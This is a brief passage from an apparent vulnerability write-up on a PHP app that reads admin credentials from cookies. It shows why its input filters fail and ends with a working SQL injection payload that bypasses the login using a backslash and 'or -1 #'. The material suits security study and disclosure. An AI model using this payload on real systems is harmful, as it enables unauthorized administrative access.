

Variables \$cookieuseradmin and \$cookieuserpass are obtained from cookies

```
And through test_input() and verify_str() two detection functions
```

```
Function test_input ($data) {
    $data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes ($data);
    $data = stripslashes ($data);
    $data = htmlspecialchars ($data, ENT_QUOTES);
    return $data;
}
```

So,Universal password "or 1 = 1" is not feasible. The equality sign is filtered in the verify\_str function. But! Password "or-1" is OK,So the final payload is:

```
Payload: select * from sc_user where user_admin='\' and user_ps=' or -1 \#'
```
